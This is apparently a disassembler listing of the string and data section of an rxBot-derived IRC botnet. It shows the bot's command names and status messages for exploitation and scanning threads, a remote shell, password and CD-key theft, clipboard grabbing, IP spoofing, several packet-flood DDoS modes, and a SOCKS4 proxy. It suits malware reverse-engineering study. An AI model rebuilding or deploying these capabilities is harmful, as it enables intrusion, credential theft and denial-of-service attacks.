aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42BC34	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42BC74	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42BCAC	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BCD8	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 4
unk_42BD18	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42BD54	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 10h
unk_42BD80	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42BDAC	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42BDBC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42BE6C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BEA8	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42BEDC	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BF1C	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BF48	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BF84	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
					; sub_4111CD+A8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BFAC	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42BFBC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42BFC8	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42BFD8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42BFE8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42C01C	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 10h
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42C06C	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42C098	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42C0B0	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42C0EC	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42C10C	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42C110	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42C128	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42C160	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42C178	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42C194	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42C1B0	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42C1CC	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42C208	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42C22C	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42C24C	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42C26C	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42C284	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42C2A4	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42C2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42C2F8	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42C314	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42C32C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C358	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C37C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C3A8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C3D4	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C3F8	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C434	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C470	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C4AC	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C4E8	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C524	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C558	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42C578	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 10h
unk_42C5B0	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C5EC	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42C66C	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C6AC	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 10h
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 10h
aScanall	db 'scanall',0          ; DATA XREF: sub_401ACD+1BE7o
dword_42C758	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C800	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C834	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
					; sub_40B1B3+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C868	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C87C	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C880	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C88C	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 10h
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 10h
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; .packed:004382C8o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C94C	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C974	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
					; .packed:004382D4o ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_1:					; DATA XREF: sub_401ACD+1662o
					; .packed:004382E0o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 10h
aQ:					; DATA XREF: sub_401ACD+1638o
					; .packed:off_4382B8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_42CA38	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_42CA58	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42CA7C	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42CACC	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42CB14	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42CB48	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42CB58	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42CB68	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42CB78	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42CB88	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42CB94	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42CBA0	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42CBAC	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42CBC4	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42CBD0	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_42CBE8	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42CBF8	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42CC14	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42CC24	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 10h
dword_42CC40	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42CC4C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42CC60	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42CC6C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42CC78	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42CC84	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42CC94	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42CCB4	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42CCC0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42CCD4	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 10h
dword_42CCF0	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42CD0C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
